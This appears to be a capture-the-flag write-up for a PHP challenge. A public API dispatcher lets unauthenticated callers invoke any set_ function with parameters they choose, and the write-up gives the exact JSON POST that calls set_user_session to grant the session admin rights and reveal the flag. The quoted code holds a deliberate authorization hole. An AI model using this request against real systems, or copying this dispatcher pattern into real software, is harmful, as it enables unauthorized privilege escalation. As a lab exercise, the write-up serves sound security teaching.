VaultSpace
Summary
We’ll use the app’s own public “function dispatcher” to call a state-changing helper that writes directly into $_SESSION. One request sets $_SESSION['admin']=true for our cookie, and then /dashboard.php shows the flag. No shell, no SQL, just an authorization check that trusts what the client can modify.
Start
The challenge ships a classic PHP stack with these relevant files:
api_handler.php— generic POST API gatewayfunctions.php— the functions that the gateway can calldashboard.php— admin-only page that renders the flag
Two observations frame the whole exploit:
A public dispatcher invokes server functions by name.
One exported function writes session auth based on caller input.
Dispatcher (Entry point)
// api_handler.php
include 'functions.php';
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// $action and $params are read from JSON or form fields
try {
$result = safe_call_function($action, $params);
echo json_encode(['status' => 'success', 'data' => $result]);
} catch (Exception $e) {
echo json_encode(['status' => 'error', 'message' => 'Operation failed']);
}
}No authentication sits in front of this entrypoint. Any POST is forwarded to
safe_call_function.Whatever we put in
$actiondetermines which server function runs. That’s huge power.
The “safety” check that isn’t authorization
function safe_call_function($function_name, $params = []) {
if (!preg_match('/^(get_|check_|set_)[a-zA-Z0-9_]+$/', $function_name)) {
throw new Exception("Invalid function name");
}
if (!function_exists($function_name)) {
throw new Exception("Function '$function_name' does not exist.");
}
return call_user_func_array($function_name, $params);
}The only gate is a regex on the name. That’s not a permission model.
If a sensitive routine starts with
set_, it passes and becomes remotely callable.call_user_func_array($fn, $params)uses ourparamsto build the function’s arguments, so we control both which function runs and what it receives.
Where the privilege flip actually happens
function set_user_session($user_data) {
$_SESSION['user_id'] = $user_data['id'];
$_SESSION['username'] = $user_data['username'];
$_SESSION['admin'] = (bool)($user_data['admin'] ?? false);
return true;
}Whatever we put in
user_data['admin']becomes the session’s admin bit.No DB lookup, no signature, no role verification, just trust.
The admin check elsewhere simply reads that bit:
function check_admin_status() {
return isset($_SESSION['admin']) && $_SESSION['admin'] == true;
}And the dashboard gates by it and renders the flag:
// dashboard.php (simplified)
if (!check_admin_status()) { header('Location: login.php'); exit; }
<div class="flag-text">FahemSec{...}</div>So if we can call set_user_session through the dispatcher and keep the same cookie, we’re in.
Steps for Exploitation
1- Get a session cookie
Open any page to establish a PHP session (keep the same cookie for the next requests).
GET /index.php HTTP/1.1
Host: 95.217.6.37:200002-Flip your session to admin via the dispatcher
Send a form-encoded POST that calls set_user_session with a single array argument. This shape makes PHP build params[0] as the $user_data array for call_user_func_array.
POST /api_handler.php HTTP/1.1
Host: 95.217.6.37:20000
Content-Type: application/json
{"action":"set_user_session","params":[{"id":999,"username":"admin","admin":1}]}
response
{"status":"success","data":true}Under the hood:
The regex allows
set_user_session.call_user_func_array('set_user_session', [ {id, username, admin:1} ])runs.(bool)1becomestrue⇒$_SESSION['admin']=truefor your current cookie.
Then visit /dashboard and you should see the flag

Last updated
Was this helpful?